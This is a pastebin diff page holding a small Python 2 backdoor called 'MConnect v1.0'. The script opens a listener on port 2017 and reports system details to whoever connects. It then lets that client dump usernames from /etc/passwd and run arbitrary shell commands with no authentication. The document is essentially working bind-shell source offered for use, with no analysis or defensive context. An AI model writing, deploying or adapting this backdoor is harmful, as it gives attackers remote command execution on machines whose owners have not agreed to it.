View difference between Paste ID: 7m7NMWqp and k42a2XQ6
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env python
2
3
# this a really simple script :D
4
5
import socket
6
import os
7
8
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
9
sock.bind(("0.0.0.0", 2017))
10
sock.listen(2)
11
(client, (ip, sock)) = sock.accept()
12
13
date = os.popen("date").read().rstrip()
14
uname = os.popen("uname -a").read().rstrip()
15
currentuser = os.popen("whoami").read().rstrip()
16
currentdir = os.popen("pwd").read().rstrip()
17
18
client.send("Welcome To MConnect v1.0 !\n")
19
client.send("Coded by MatriX Coder\n\n")
20
client.send("Date : %s \nUnix Name : %s \nUser : %s \nDir : %s \n\n" % (date, uname, currentuser, currentdir)) 
21
client.send("Commands : \n\n\tgrabusers : Grab Users in /etc/passwd\n\tshell : Use The Powreful UNIX Shell\n\texit : Good Bye :D\n")
22
23
data = ""
24
25
def Users():
26
    users = []
27
    f = os.popen("cat /etc/passwd")
28
    allnoncleanusers = f.read()
29
    usersnonclean = allnoncleanusers.split('\n')
30
    for usernonclean in usersnonclean:
31
	userclean = usernonclean.split(':')[0]
32
        users.append(userclean)
33
34
    client.send("[*] Found %d User \n" % len(users))
35
    client.send("\n")
36
    for user in users:
37
	client.send(user)
38
	client.send("\n")
39
40
def Shell(data):
41
    dats = data.split()
42
    del dats[0]
43
    command = ''
44
    for dat in dats:
45
	command += dat + ' '
46
    
47
    f = os.popen(command)
48
    out = f.read()
49
    client.send("\n")
50
    client.send(out)
51
    client.send("\n")     
52
53
while True:
54
    data = client.recv(2048)
55
    data = data.rstrip("\n")
56
    com = data.split()
57
    print data    
58
    if data == "grabusers":
59
    	Users()
60
    elif com[0] == "shell":
61
	Shell(data)
62
    elif data == "exit":
63
    	exit()
64
    else:
65
	client.send("[-] Invalid Command !\n\n")
66
67
68
sock.close()